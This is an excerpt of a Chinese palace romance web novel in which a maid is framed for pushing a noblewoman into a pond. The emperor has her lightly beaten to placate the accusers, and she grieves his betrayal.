不然母亲打她做什么呢?母亲每次打她,难道不就是想要她流尽身上的脏污吗。而且,若她是干净的,又为什么会这样低贱呢? 所以,有些人的血,生下来就是脏的。 如果不脏,妙珠实在弄不清自己的日子为什么能过成这幅样子。 施宁煦不解,不知她为何会这般,她道:“西汉戴圣曾言‘人生而静,天之性也’。为什么,妙珠?我不明白,你到底为什么要那样想?” 妙珠道:“可是我连《论语》都读不起,什么西汉戴圣说的话,我也根本就不懂。” 施宁煦同她争得脸都红了,她道:“怎么就读不起?这一本书,七岁稚童都能读,你怎么就读不起了!” 七岁稚童都能读,你怎么就读不起了呢? 妙珠的嘴唇又张又合,她想说是陛下说她读不起的。可是仔细想了想后,好像根本就不是,分明是她自己抄不下十遍论语。陈怀衡给过她机会,可是,就像是他说得那样,礼义廉耻,她维持不起。 妙珠同施宁煦争得双眼莫名发酸,她双手捂着眼睛,摇头道:“没有谁说的,没有谁。” 两人已经走至桥边,施宁煦见她闷头不肯说话,还在劝她:“妙珠,你何必画地自囚呢” 她话都还不曾说完,一旁不知跑过了谁,忽地伸手将施宁煦推进了水中。 妙珠只听一阵脚步声匆匆从耳边跑过,而后,施宁煦的声音戛然而止,紧接就是一道“扑通”的落水声响起。 妙珠不再捂着被泪氤得湿润的双眼,她不知道方才那个男子到底是怎么将人撞到了水里,想要扯着他的时候,他却已经跑了远,妙珠被这突如其来的事情吓懵了脑袋,却也知道再去追那罪魁祸首已经来不及,她站在拱桥上,扒拉着护栏往下看,只见施宁煦已经开始不断挣扎! “来人啊!救命啊!快来人啊!有人落水了!” 妙珠一边大声喊着,一边下了拱桥往着岸边跑去。 这个时辰也没甚杂扫的人在,去喊此地管事的人来也不知该到何时。 偏偏又只有她一个人在,分身乏术不得。 好在巡逻士兵好像听到这处的动静,听到了有人落水后,赶紧来了这处。 与此同时,陈怀衡也已从慈宁宫中出来,往御花园的方向去寻那两人,他今日未曾乘坐轿辇,快步御花园处却见士兵匆匆往着御花园跑。 他下意识蹙眉,抓了个人问:“里面出了事?” 见到是皇帝,那人诚惶诚恐行了个礼后,回了他的话:“回陛下,好像是有人落水了!” 陈怀衡眉心拧得更紧,想到方才来这处的也就只有妙珠和施宁煦,落水那也就只有她们了。 他大步往着里头去,就见施宁煦浑身是水昏迷在岸边,妙珠跪在旁边,手足无措地想着脱去外裳。 陈怀衡还不知道事情怎么变成这样,只是见到妙珠这样的动作,马上上前拽住了她的手,他沉着脸道:“你在做些什么?!” 妙珠不知道事情怎么突然变成了这样,她已经吓得泪下如雨,结结巴巴解释道:“只是只是想要给小姐盖上衣服。” 方才去为施宁煦拿大氅的丫鬟正巧跟着他一块出来。 陈怀衡一把扯过了丫鬟手上拿着的大氅,盖到了施宁煦的身上,他又捏着她的下颌转了转脸,只见整张脸都没了血色,方才定是呛了不少的水。 他伸出指间,探了探她的鼻息,见人还有气,才终松了口气。 已经有人去传了太医过到了,陈怀衡也不敢耽搁,先去将她胸腔中的水按吐出来,妙珠生怕施宁煦出事,在旁边握着她那冰凉的手,祈祷她快些快些醒来。 好在,陈怀衡按了几下,施宁煦的嘴巴里头也终 吐出了些水出来。 只是,人却还迟迟不见醒来。 见人已经吐不出水来了,陈怀衡也才终于停手,他这才想起去问妙珠:“人是怎么掉进水里的?” 陈怀衡脸色极其不好,眼中尽是阴骘,瞧着俨然是气极了。 第33章 第三十三章他骗她。他压根就没想过…… 妙珠道:“是有个人有个男人忽然跑过去了,不知道是撞的人,还是推的人不知道,太快了,没能瞧清楚他就已经跑没了影” 陳怀衡脸色更沉,道:“有个男子?你说,跑哪个方向去了?怎么突然会莫名出来的男子?” 这么一个御花园里面,忽然跑出来个男人,马上又把人撞进水里,凑巧? 凑什么巧。 这个小蠢货,今天多半是要给人背锅了。 陳怀衡语气又沉又急,这些话落在妙珠耳中像是声声质问,别说陳怀衡了,就连妙珠自己听着也觉得离谱,她指着拱桥的西边,哭道:“是往那个方向跑的,跑太快了,什么都没瞧清楚就没影了” 就只有妙珠和施寧煦在这里,现在施寧煦落了水,昏迷不醒,是个人都会觉得和妙珠脱不开关系了。 她说有个男人跑过去?谁会信她? 妙珠隐隐约约觉得,自己好像是摊上事了。 陳怀衡打横将昏迷的施寧煦抱起,盯着妙珠道:“还哭,给朕爬起来。” 他想带着她们就要先行离开这里,可还是晚了一步,太后那边听说了这里的动静,已经匆匆赶了过来。 “这是怎么了这是?!” 太后看清了陈怀衡怀中抱着的人是施寧煦后,马上瞪着妙珠道:“叫你陪着宁煦,你便是这样陪的?!是不是你个奴婢起了什么坏心眼,把人给推到了水里头去了!” 太后本就不喜妙珠,见此情形如何能轻易放过她。 她气道:“来人!来人把这贱婢抓了!” 陈怀衡呵道:“母后!朕的人,朕自会处置,当务之急是宁煦。” 施宁煦醒来,就什么都能知道了。 陈怀衡说着,就带人往乾清宮的方向回,太后见陈怀衡还在护着她,也没办法真拿了妙珠,只好跟在他们的身后一道先回去乾清宮看看情况。 宮女们为施宁煦换下了那身湿衣裳,现下过了立冬,回来的路上,她那身衣服被水浸润,凉得不像样,太医已经等在了这里,待施宁煦换好了衣服便赶忙上来把脉瞧病。 她身子本就不大好,先前一直在溪山那头养病,现下冬天落水,叫水来回淹了几番,呛了几口水下去,没直接丢了命那都是上天眷顾。 太医看过之后,直摇头,硬着头皮给人治病。 陈怀衡问他:“人可曾有事?多久能醒?” 太医道:“命当是保住了” 若是要死,方才应当就一命呜呼了去。 没死那便还是有机会救。 太医又道:“只是何时能醒,臣也实在没把握啊。” 为難他也没用,陈怀衡面色凝重,挥退了他赶紧去给人救命,一旁的太后还在喋喋不休,一直说着不能放过那个歹毒的宮女。 陈怀衡去看妙珠,回来的路上她脸上的淚水被風吹干了,现在只见那張苍白的小脸上还挂着一道一道的淚痕,他面色沉沉,看着她道:“方才的事情一五一十告诉朕。” 妙珠便又从头到尾将事情说给了陈怀衡听。 太后听后当即冷笑道:“男人?别是你瞎编出来的人吧,总归那里谁也没有,宁煦身子骨又不大好,你起了歪心思将人推到水里岂不是轻而易举?” 妙珠实在不解为什么太后会这样想,她也有些急,一急声音都跟着劈了叉,她颤声问:“可奴婢又为何会对施小姐起这样的心思呢?” 施宁煦是为数不多待她和善的好人了,她害谁也不该害她才是。 见妙珠还敢顶嘴,太后当即还想再骂,最后是陈怀衡出言制止。 “好了,您先往慈宁宫回吧,这回的事朕自会处理。” 太后却不肯,妙珠跟在陈怀衡的身边她始終是不大放心,现在这简直是天给的机会,她怎么会愿意走? 见她不走,陈怀衡也懒得继续理她,又喊来了錦衣卫的人,去查方才在御花园发生的事。 时间便这样过去,也不知道錦衣卫的人去了多久,一直到天快黑了才回来,然而,竟什么都没查到。 这桩事情就像是事先布置好的阴谋,妙珠她们稳稳当当地踩了进去。 不不只是妙珠和施宁煦,还有他。 暮色四合,残阳如血,就像一块烧红的烙铁挂在天际,夕阳透过窗户烙进了乾清宫的地面,妙珠听到錦衣卫传回的话后,又一遍道:“陛下,奴婢真的真的没有推施小姐。” 身上的衣服都被她抓出了不少褶皱,指尖都泛了白。 她也看出来了,现下的情形对她来说实在是算不得好,没有人能证明她的清白,太后又一直想要置她于死地,还有陈怀衡他看着也不大相信她。 妙珠觉得,自己好像已经掉进了一个牢笼之中,她爬也爬不出去,唯一能做的,也就只有求着陈怀衡相信她了。 “求陛下信奴婢” 妙珠的声音微颤,带着说不出的惶恐,纤弱的肩膀瑟缩着,整个人就像是一片風中枯叶,轻易就地就能被折碎。 陈怀衡叫这幅场景看得莫名心堵,想要说些什么,可门口却传来了通传声。 是太皇太后来了。 御花园发生的事情似乎也传到了她的耳中,她听到了风声,便也赶来了这处。 她面上可见焦急之色,抓着太后问道:“宁煦那孩子怎么了?现在可还好?” 好歹也是在宫里头住过一段时日,又是英烈之女,现下出了这等事情,一下惊动了两位娘娘。 太后回她的话道:“人还在昏着呢,您是没瞧见,那張小脸煞白煞白的。” 太黄太后又蹙着眉头去问:“可怜见的,这好端端地怎就生出了这样的事端出来呢?” 太后便将方才发生的事情又说了一遍同太皇太后听。 太皇太后听后,面色也变得不大好看,她看向妙珠,叹了口气道:“或许也是个误会。” 太后不明白了,先前的时候这太皇太后还同她说妙珠如何如何不大好,现下有个机会惩治她一番了,怎还去说是个误会了呢?! 她横竖是看不惯这等卖乖讨巧的女子,从上回中秋家宴她就瞧出来了,这小宫女就不是个安生的,也罢,今日这恶人就叫她做了罢! 太后辩驳道:“这怎能算是个误会呢?将才錦衣卫的人可都是去查过了的,可没查出过还有谁往拱桥那边跑了呢!” “这听着好像还是真有些说不清了” 陈怀衡冷眼看着那两人,一唱一和,原是到乾清宫唱双簧。 就在这时,殿门口又传来了一阵动静,施枕谦也来了,他怒气冲冲过来,外头的卿云拦也拦不住他。 陈怀衡脸色難看,道:“谁去把他叫过来的?” 他先前不是吩咐过不要把消息散去施家吗。 太皇太后在一旁道:“是我让人去喊的。” 陈怀衡看向她,眼中寒意越发明显,那張棱角分明的脸上,没有一丝表情。 太皇太后没有发怵,仍在道:“怎么了,宁煦出了事情,難道不该先传话去施家吗?” 陈怀衡已经没时间能去和太皇太后算账,施枕谦已经冲进了殿里头,连和那群人见礼的心都没了,直奔偏殿去看施宁煦。 在里面待了一会的功夫之后就出来,他此刻已经被愤怒冲昏了头脑,直奔妙珠而去。 他在来的路上已经都听说了宫里头发生的事了。 “枉宁煦待你那般!你倒用这种法子害她,早知道你人贱心脏,没想到竟歹毒至此!她是哪里碍着你了,你要这样害她!” 妙珠见那罗刹进殿,边走边骂,她吓唬得往陈怀衡身后,只怕下一瞬他就要过来生生掐死她。 妙珠急得淚又出来了:“不是我,真的不是我!” 她知道施宁煦对她很好,她知道施宁煦是个好人。可是,为什么每一个人都觉得是她 害得她呢? 施枕谦见她还敢躲,更怒不可遏。 若非陈怀衡挡在她面前,他非掐死她不可。 他对陈怀衡道:“你护着她?宁煦现在生死不明,你还在护着她?!你到底有没有心?” 陈怀衡被这一个两个的吵得头疼,现在一点能证明妙珠清白的证据也没有,施宁煦也不知何时能醒过来。 他冷声道:“朕会给宁煦一个交代,你等她醒来” 施枕谦冷笑一声,直截道:“等不了。” 他道:“我知你是还想袒护她,可宁煦也是个心善的,醒来之后如何还不是由着你说,况说,她本就体弱,这次” 这次能不能挺过去也不见得。 施枕谦硬生生闭了嘴,将这晦气话咽进了肚子里头。 想到宁煦可能出事,他看着陈怀衡的眼睛竟都染了湿意,泛了红,他道:“今日你若不给我交代,我就算死也要杀了她,你若真这样宠爱她,要来治我的罪,那我施枕谦今日也认下了。” 陈怀衡道:“你在威胁朕?” 施枕谦气笑了:“威胁?我娘死了,我爹也死了!我活在这世上,就这么一个亲妹妹了!陈怀衡,不是你的妹妹,你不心疼!她在宫里头出了事,你连个交代都不给!” 两人已经是第二次为了妙珠的事情争吵,可今日的态势显然比上一次还要危急。 太后出声道:“不过是一个宫女罢了,皇帝,莫非你当真是动了那些心思?” 皇帝,莫非你是真的动了心? 没人敢在这种时候进来点灯,殿外的夕阳渐暗,只有些微的残光照在殿内,淡淡的光影烙在陈怀衡的侧脸,他的眸光听到太后的话竟不可控制的颤动了一下。 动心? 那不可能的。 少年的帝王不懂情爱,只是倨傲地想着,他怎么会那么轻易就对一个婢女动心? 妙珠切实很听话,很讨他喜欢,不过,喜欢是喜欢,其他的,该另当别论了。 对了她很听话。 她说过的,她会一直听他的话。 妙珠说过,他是她的天,她会一直跟在陛下身边的。 没关系的,到时候她装模作样挨个三十板过去,今天的这些事就结束了,不会再有人抓着这件事不放。 就这样吧。 在陈怀衡眼中,这根本就算不得什么大事,他是个冷情倨傲的政治家,他会冷漠地算清任何一笔账。 施宁煦生死未定,施枕谦现在又气在头上,一旁又还有太皇太后和太后在煽风点火,假意挨个三十板,没什么的。 没关系的。 他仍旧在想,无关痛痒的三十板子最后一定不会带来難以挽回的后果的。 此间好像陷入了一片沉寂,就在等着陈怀衡最后的决定,妙珠又怕又累,眼淚都已经哭干了,她也在等着最后的宣判,她等着等着,就看到陈怀衡转过身去,看向了她。 昏暗的殿内,陈怀衡的表情几乎看不清楚,可是妙珠不知怎么地,竟好像就在这一刻清晰地读懂了他的意思。 她的心也渐渐凉了下去,她道:“陛下也不信奴婢是吗?” 陈怀衡听到她的声音,不知怎地,竟不忍再听下去,他只问她道:“你有证据证明自己的清白吗?” 锦衣卫的人分明都已经查过了。 没有。 他分明知道的,她什么都没有。 他们把创造证据当做发现证据,他们给了她一个没有办法去做任何辩驳解释的局面。 没人信她。 只是因为宁煦落水的时候,她和她在一起,所以,就没有人能信她。 因为她是奴婢,是会做出推人落水的事的奴婢。 所以,没有人会信她。 陈怀衡也不信。 他说对她好。 可是,他也和所有人一样,都不信她。 陈怀衡听不到她的回答,最后转过去,冷眼看向施枕谦和太后,他道:“三十板子,三十板这件事就揭过去了。” 施枕谦道:“行啊,我来打。” 这打板子就太有讲究了,让陈怀衡的人去动手,妙珠的皮怕都掉不下一层。 陈怀衡这回没再顺着他了,冷声道:“你还想得寸进尺?” 到了这种地步,陈怀衡已经给出了很大的让步,施枕谦也終没再继续下去。 太皇太后站在一旁看着他们,眼中饶有兴致。 今日弄这么一遭,怎么都叫陈怀衡吃瘪难受。她也很久没有和他对着干了,不过,既然要动手了,那他也决计不能从她手上讨到好处。自打施宁煦进宫,而妙珠和陈怀衡出现在慈宁宫之后,她就一直让人盯着他们,今日出的不是这落水的事,也还会有其他的事。 栽赃、陷害、伪造罪证这都是皇宫中经久不衰的腌臜事。 至于那个真正撞了施宁煦入水的人,早就隐入了寿宁宫,他若是有本事,便撕破脸,去寿宁宫找。 可显然,他没有想为这个小宫女继续追究下去意思。 看来两人也不曾那般情深啊。 又或许是说,他压根就不屑于对一个小宫女展现过度的情深,所以,也不想做出任何能够展现他情深的事。 唔。 其实这样做也没什么不好,从各种层面来说都好,只是那小宫女看着不大好喽。 太皇太后也不看戏了,连说两句“累了”,便离开了这处。 可太后还不肯走,非要看着人受了刑才肯走。 陈怀衡喊了锦衣卫的副使过来,让他监督负责此事,他对他下令:“带出去,杖三十。” 明副帥也算是陈怀衡身边的亲信,不到三十就坐到了副帥的位置上自是有些眼力见,他记得妙珠,上回陈怀衡在西山猎场那边还给她猎过一只兔子。 锦衣卫里头行刑的门道可太多了,多半都要看帝王心情,陈怀衡若是说“把人拖出去”,那便是下死手去打,若是说“把人拉出去”,那便是中规中矩。 而方才陈怀衡下令时说的是“带出去”,那便是让人收着气力打的意思了。 这门道别人不懂,可明副帅怎么可能不知道。 再又说,陈怀衡对这宫女可看重得很。 若今日这板子把人打伤了,他的政治生涯说不准就到此结束。 明副帅不再继续思忖下去,遵了陈怀衡的令,就让锦衣卫的人来带走妙珠。 从始至終,妙珠都不曾再吭过声了。 从刚刚她问过陈怀衡那话之后,她就再也没有说过话了。 妙珠被人带出了殿内,听见冬风在她耳边呜咽,她任由人带着按到了长板凳上。 行刑的地方是乾清宫前的平台广场上,以往她还在这里做过一段时日杂扫活计。 她已经感受不到周遭的动静,灵体好像跟着出了窍,她飘在空中,看着自己被按趴在那条长椅上,妙珠不忍再看,飘离了这里。 她飘啊飘,想要逃离这里,可是好像怎么都找不到出口,这一堵堵的朱红宫墙,像一道道围城和迷宫,将她困死在这里。 她感觉到好像有一双双无形的手在推搡着她,孤绝凄惶之情排山倒海地将她淹没,痛苦如水浓郁得已经让她动弹不得。 幼年时候,母亲自刎之时杀死她的那把刀,也连带着杀死了妙珠。 她好像也在那个时候,和着小妹还有母亲一起死掉了,嬷嬷把她从坟茔之中挖出来续命,一直到了如今,妙珠觉得自己好像又要死一回了。 她也不知道,不知道自己为什么能活得这么的低贱。大抵生下来就是如此,老天爷给让她卑贱,她便永远直不去腰杆。 她只能做个无能的,没用的,该死的婢女,她又能怎么办呢? 她除了孝敬陛下,除了将他看做自己的天,她又能怎么办呢? 可是,他不是说过会对她好一点的吗? 难道是她还不够听他的话吗? 她分明已经很听话了啊。 他让她读书,她便读,不让她读,她便不读。 他说 不许她出宫,她再也没有想过出宫的事了。 可是,可是为什么还是不信她呢? 为什么还是要来打她呢? 如果说妙珠曾经真切地将陈怀衡当成了自己的天,听他的话甘愿放走自己的魂灵当他膝下卑微的奴仆,那么现在,妙珠的天彻底被这三十板子打塌了。 他骗她。 他压根就没想过对她好。 她就想,就像他对她好那么一点点就够了,可是,为什么他最后也还是这样对她呢。 大概也是因她卑贱吧,因为卑贱,所以他可以轻而易举的舍弃她。 在所有人都觉得是她害了人的时候,他也一样那般觉得。 清白属于清白人。 清白属于清白人啊! 到底是入冬了,冷意痛意延至四肢百骸,烧灼肌肤,不知不觉间妙珠竟已泪流满面。 其实这板子打在身上好像没她想象的那样疼,可是妙珠却觉得自己疼得快死掉了。 她的身上穿着陈怀衡前些时日给她做的新衣服,是很好的料子,穿在身上,一点都不会叫人觉得冷,妙珠却觉得自己冷得快死掉了。 她觉得自己,又冷又疼,好像就要死了。 陈怀衡就站在殿檐之下,他看着妙珠,就只能见那月光落在她的发间,就像是掺满了雪。 他没有听到她的哭喊求饶,没有听到她的任何声音,这让陈怀衡生出了一种极大的不安。 冬日的冷风发出了哀怨凄怆的呼喊,代替妙珠哭出了声,此情此景,莫名叫人心慌。 难道这么几板子就要打死她了吗? 不可能的,锦衣卫的人手上都有轻重,这三十板子还没旁人的五板子重,连她的筋骨都伤不到,她怎么可能会死呢? 陈怀衡心中不安越甚,想要上前去看,可最后还是忍住了。 三十板结束,太后也終于肯离开,至于施枕谦,虽知其中门道,不过也知这是陈怀衡能给出的最大让步,他既已经让锦衣卫的人动了手,他再继续说下去,又还能怎么办,方才既都已经认下,那也再纠缠不得。 只不知怎地,看妙珠受刑,这幅场景竟叫施枕谦这样没心没肺的人竟也莫名心堵得慌,看得烦了,他不再说什么,扭头回了偏殿去看施宁煦。 这周遭已经没旁人了,那些叫喊着要去打杀妙珠的人都已经走了,可陈怀衡不知怎地,竟不敢过去看她。 当初他是怎么说的来着? 他说,只要她乖乖听话,他会对她好的。 今日,却又发生了这样的事。 没关系的,妙珠说过的,她会听他的话。 她是个不记仇的人,往后他待她好些,今日这事会揭过去的。 这样想着,陈怀衡终于收回了神识,腿也终于有了力气。 他抬步朝她走去。 明副帅见他下来,便小声道:“底下的人手上都没着力。” 陈怀衡“嗯”了一声,而后在妙珠面前单膝蹲下,他掰她的脸转过来看,却见那张脸,不知是从何时起爬满了泪。 她紧紧合着眼,可泪还是不停地从她眼中沁出。 月夜下,整张脸白得像纸一样,那张纸,也已经被她那些泪珠弄得皱巴巴的了。 妙珠整个人,快皱成了一团揉不开的白纸。 她只是哭,从始至终也都只是无声的哭。 陈怀衡见此竟难得有些心慌,他打横将人直接从这抱起,将她抱去了里殿。 殿内已然趁着方才的那会空档点起了一片烛火,陈怀衡将人放到了龙塌上,他拂开遮在妙珠面前的碎发,将她的那张脸看得更清楚些了。 原来不是他的错觉,她的脸果真是惨白一片。 “疼?”陈怀衡问她:“很疼吗?” 不可能的。 方才明副帅都同他说过,他们收着力了的。 便是疼,也不该疼到这种地步的。 然而,不管他怎么问,妙珠从始至终都不曾开口说话。 陈怀衡紧抿薄唇,直接动手就要去脱她的亵裤查看。 妙珠终于有了反应,她急急伸手制止了陈怀衡,按住了他那已经伸到臀部的手腕。 陈怀衡道:“朕问你话,为何一直不做声?” 又还能是为什么? 她难道还有什么好去同他说的吗? 心里头恨极了他,满腔的哀怨再也忍不住。 “疼与不疼,陛下又何必在意呢?” 他连真相都不在意,他现在又有什么好来在意她的伤痛呢。 妙珠的身不疼,可心叫那三十板子打得痛不欲生。 从来不敢和主君呛声的人,今日却浑身都竖起了刺猬毛,陈怀衡一碰她,她就来毫不留情地扎他。 他知道今日这事确实是让她受委屈了,也不怪乎她如此。 他道:“今日这事,我知你清白,可旁人不知,三十板子,我事先叮嘱过,他们不会使劲施枕谦正在气头上,宁煦她很重要往后我会补偿你,今日这事,就揭过去吧。” 或许是他自己都知道这件事说来有多不像话,解释之时,语序颠倒,叫人都快不明白他在说些什么了。 可是妙珠听明白了。 宁煦她很重要,谁都很重要,独独她最不重要。 妙珠早清楚自己的身份,早知今日发生了这样的事,最后倒霉的只会是她。深宫中,太多人都做了斗争的祭品。 可是,可是她还记着陈怀衡以前说过会待她好一些的话,可笑的将那些当了真。 他现下还说什么往后会补偿的话,妙珠听了后,只是哭得更厉害了些。 她看着陈怀衡,眼中竟然染上了不可说的失望。 他们说,是她推的宁煦,那便是她推的了。 莫名其妙,又毫无道理。 就像她从小到大受过的那些疼,都是那样的没有道理。 妙珠早就已经习惯那些了,毕竟只要习惯了那些,她也就能不那么痛苦了。 可今日发生了这样的事,让早就习惯了难堪的妙珠,竟也有些那么无法忍受。 他下令打了她,那便是告诉所有人,就是她推的宁煦了。 陈怀衡这人不大有心,她这般卑微,在他面前已经没有一点骨头了,可是,到了最后,他连个真相都不给她。 他骗她,她已经什么都给他了,她的身体,甚至她的心 他最后又怎么对她的。 月夜惨淡,乾清宫中满目凄霜,躺在床上的少女已经泪尽,只剩下破碎的低吟,那张脸苍白得没有一丝血色,细腻的肌肤上泪痕斑斑,发红的眼中没有任何情绪,唯余失望。 妙珠这辈子流了太多的泪,挨打的时候,小妹死的时候,母亲死的时候,惶恐不安的时候 可她才刚十六岁啊,怎么就把这辈子的泪好像都流干了呢。 陈怀衡不敢相信自己看到了什么。 她对他失望,妙珠对他失望? 这让陈怀衡极莫名地生出一股烦躁,这两年来,他已经很少有这样的情绪了,就连处理那些难缠的政务他都不觉这般烦闷过。 她怎么能这样看他呢?他不是都说了吗,今日的事情是桩意外罢了,往后他会补偿她的。 再说,她凭什么对他失望? 他便是真的罚了她,她又凭什么来对他失望。 意识到妙珠的情绪后,那股心烦意乱竟如附骨之疽一般蹿了上来,来得极其突然。 陈怀衡强忍了情绪没有发作,他伸手将人拉了过来,强硬地想要脱去她的亵裤。 他道:“叫朕看看,伤成什么样了。” 一定是那些锦衣卫的人手下没个轻重,弄疼她了,她才会这般委屈。 一定是这样的。 陈怀衡把她拉过来,想看看她伤成什么样了。 可妙珠也不知道是哪里来的力气和胆子去反抗陈怀衡,她不想要叫他看,胡乱挣扎间往陈怀衡的身上蹬了一脚。 陈怀衡没想到她的反应会这般大,一时不察,叫她蹬了个正着。 周遭的空气好像都凝滞住了。 妙珠不知道自己是蹬着他哪了,只 听他闷哼一声,脸色变得极其难看,她不想看他,不敢看他,趁着他晃神的功夫从榻上慌忙跑了下来,想要往殿外跑去,她早顾不得臀部被牵扯的疼痛,只想着跑出去。 不想要再留在这个可怕的地方,不想再被那可怕的人折磨。 然而,还没跑出两步,就被身后的人一把抓住。 陈怀衡一把就将妙珠抓住,从背后将她狠狠地钳制在了怀中。 或许是叫她那一脚气的,他的动作已经算不得是在抱她,手上的力道大得几乎是想将她捏碎,揉到骨头里。 “去哪里啊?嗯?”陈怀衡的声音听着阴森森的,气极反笑,“还敢往我脸上踹?什么时候胆子这般大了?” 妙珠想要挣开他,可整个人被他勒得根本就动弹不得,她知她这回是犯了事,可这一刻竟怎么也不肯向他低头,气都要喘不上了也不肯开口求饶。 好在陈怀衡最后还是没勒死她。 他去拿了药膏,而后将人拽到了榻上,他把妙珠按在自己的大腿上趴好,而后直接动手去脱下了方才没能脱掉的亵裤。 妙珠许是挣扎累了,这回终于没再反抗。 她感觉臀部一凉 似乎都能感受到陈怀衡的视线,妙珠羞恼欲死,不管不顾抓着衾被,将脑袋埋了进去。 他就喜欢作践她,一直都喜欢。 分明已经做过那些事,浑身上下,陈怀衡又哪里没有看过? 可从来没有哪一刻会让妙珠觉得像是现在这般羞愤。 她的头闷在被子里,死死地捂着自己的脑袋,当做什么都不知道。 然而,陈怀衡沾着药膏的手指冰凉,让她又不能那样轻易地装死。 锦衣卫的人说是没使劲了,可到底是个细皮嫩肉的小姑娘,这三十板子下去,臀部上依稀也见了血,再叫她方才那么一挣扎,臀肉上滚出了不少的血珠。 陈怀衡一边给她上药,一边却还在自言自语:“多擦个几日药就能好,你好好擦药,等伤好了,你想要什么,我可以答应你。还有,我知你委屈,今日你踹我的事情,我也先不同你计较。” 他将这伤说得极轻,就好像今日只是发生了一件无关痛痒的小事,一件可以被轻易揭过的小事,就像是,今日什么都没发生。 妙珠,也还会是那个妙珠的。 陈怀衡的声音隐隐约约的隔着衾被传入了妙珠的耳朵。 她气得作抖,一句话也不再去同陈怀衡说了。 他自顾自说完了这些话,待药干了之后,就为妙珠提上了中裤。 察觉到他的动作,妙珠终于把脑袋从被子里面拔了出来,回过了脑袋去看陈怀衡。 她整个人看着乱得不像话,头发也被衾被弄得乱糟糟的,陈怀衡看着她这幅毛茸茸的样子,忍不住将人拽到了怀里抱着,见她不曾反抗,眼神也不如同方才那般强硬,便以为她是软和下来了。 他道:“你放心,今日的委屈你也不会白受。” 妙珠听到这话几乎也快溢出一声讥讽的笑。 还有什么用呢? 她什么都不曾说,只是道:“哦上完药了,那奴婢可以出去了吗?” 她的声音听着还是和平时那样软和,然而,听在陈怀衡的耳中却是那样刺耳。 第34章 第三十四章奴婢有些太累了,怕在陛下…… “你去哪里?”见妙珠竟如此疏离,他的声音也不自覺冷下来了一些。 妙珠覺得好笑,问他:“那不出去,陛下是还要奴婢在这里服侍吗?” 第一回和陳懷衡行了**之时,她第二日起身还跟在他的身边服侍,那如今呢,挨了打也不能歇一下吗? 陳懷衡最后还是放了人走。 她现在看着,确实需要休息。 他松了手,妙珠马上就从他的身上爬了起来,下了地后,就头也不回地离开了这处。 她的背影一点点地消失在视线之中,那道纤弱的背影,就那样隐入了转角之中,陳懷衡一直到什么都看不见了之时,才终于收回了视线。 妙珠走了,整个偌大的寝殿之中就只剩下了陳懷衡一个人。 烛火在他眼底跃动,他垂着眼眸,晦暗不明。 不知道是不是陈怀衡的错覺,总觉得妙珠离开之后,乾清宫里头好像一下子空了许多,小宫女以往形影不离地跟在身边,她这人也不大喜欢吵闹,平日话也不多,若非他开口去和她说两句话,她便很少主动开口,可她不说话也没干系,好像就只是站在旁边,偌大的宫殿好像也没那么空荡了。 罢了,她现在该养傷。 陈怀衡不再继續去想这事,又起身去了偏殿,看了施宁煦一回。 施枕謙就在旁边守着她,陈怀衡連个眼刀都没丢给他,两人无话,而他看过施宁煦后也没再多待,离开这处。 今日乾清宫发生的这件事很大,几乎每个人都知道妙珠挨了罚。 先前妙珠有过恩宠的事,旁的人多少也是都知道的,本以为她这是得了宠,可谁都没想到,才没几日,她又挨了板子。 他们又哪里知道板子里头藏着的名头,光是想想三十板子,那都疼得脊背生寒,也不禁得感叹君恩如水,伴君伴虎。 可也实在是没办法,谁叫那人是施家的小姐呢,谁都知道,皇上最器重于她。 他们这些做奴婢的,自然是不能相比。 妙珠自也不能比。 榮桃知道了妙珠的事后,就一直着急,跑去问了卿云,才知道人是后来被陈怀衡抱回了主殿里头去,她也不知道妙珠现在状况如何,问了卿云她也只说不知道。 她在屋子里头急得啃手指,听到一个屋子里头的另外两人还在说着方才发生的事情,无非就是在说妙珠今日犯了事,怕是以后就要失了帝王恩宠,还说什么果然宫女就是算不上人,疼是疼你,动手打起人来也毫不留情。 都是些大实话,就是这些大实话实在是难听得不像话。 榮桃听得心烦意乱,忍不住大声道:“能不能不瞎说了!” 那两人知道榮桃和妙珠平素关系甚好,听她发了脾气,两人嘀嘀咕咕不知道是了什么,不过好歹也没再开口说下去了。 就在这时,屋门被打开了。 三人往房门口看去,发现竟是妙珠回来了。 几人本都以为妙珠是受了极重的傷,应当是連床都下不了,可没想到,晚间时候竟好端端地回了房,除了形容瞧着落魄了些,看着哪里有受了刑的样子。 荣桃愣了一瞬,最先反应过来,她上前去妙珠的后背臀部那里左瞧又看,不见身上有受刑痕迹才终于跟着松了口气。 她道:“吓死我了,他们都说你挨打了,说皇上罚了你三十板子。” 若是真挨了板子,她那身上定不会像是现在这样完好无损,瞧这样子,应当是没受什么罚。 妙珠听到荣桃的话也只是搖了搖头,她道:“打是打了的,可不疼。” 其实也没撒谎,是真没想象中的那般疼。 没有皮开肉绽,也是一种幸运了。 荣桃道:“他们说你推了施小姐入水可是真的?” 妙珠已经没有力气再去解释这些事了,她好累,好像躺下不管不顾地睡一觉,她摇头,她说:“我没有。” 其余的,再没力气去解释了。 施宁煦在宫里头出了事,施枕謙心中怒极,需要一个撒气桶,至于太后她也不知道她为什么会那么讨厌她,不过,这也不重要了。 全都不重要了。 妙珠想到这里,发现自己挨打的原因从来不是因为推了人,好像只是因为,她可以作践,随便任人作践。 公理真相什么的,向来不该落在她的身上。 她什么都不再说,趴到了床上,整张脸都埋进了枕头里面。 到了夜半时分,妙珠被噩梦惊醒,醒过来之后身上 倒过一阵阵恶寒,四肢也跟着作抖,许是一夜之间降了温,妙珠冷得牙关打颤,使劲裹緊了被子,想再睡回去,可怎么也睡不着了。 她迷迷糊糊想着,也不知施小姐现在又如何了,她掉到水里,是不是也该这般冷。 事情弄成这样,倒还不如掉进去的是她自己来得干净。 她就这样一眼睁到了天亮,等到天亮之后,旁人都起了身时,她才又迷迷惑惑重新裹着被子睡了过去。 一直到接下来的两日,妙珠都没再怎么出过房门,荣桃看她臀部出了血,也舍不得她再多走,每日都把饭菜送到了她的跟前。 陈怀衡让卿云给她送了药过来,而后也没再寻过她了,妙珠乐得如此,也不想再去他的身边服侍。 直到后来,妙珠听荣桃说,施宁煦终于醒过来了。 她醒在傍晚时分,距离落水那日算起,竟整整昏迷了四日。 她昏迷的这么些天,越是不醒,陈怀衡和施枕謙的心也越发地沉,那两人一开始的时候还谁都不愿意同谁说话,可是后来,宁煦在前,他们多少也说过两句。 眼看四日过去人还未醒,施枕謙还和太医吵了两回,威胁他们宁煦要是出事了,他去把他们太医院也烧了。 陈怀衡也懒得说他什么,由着他吵。 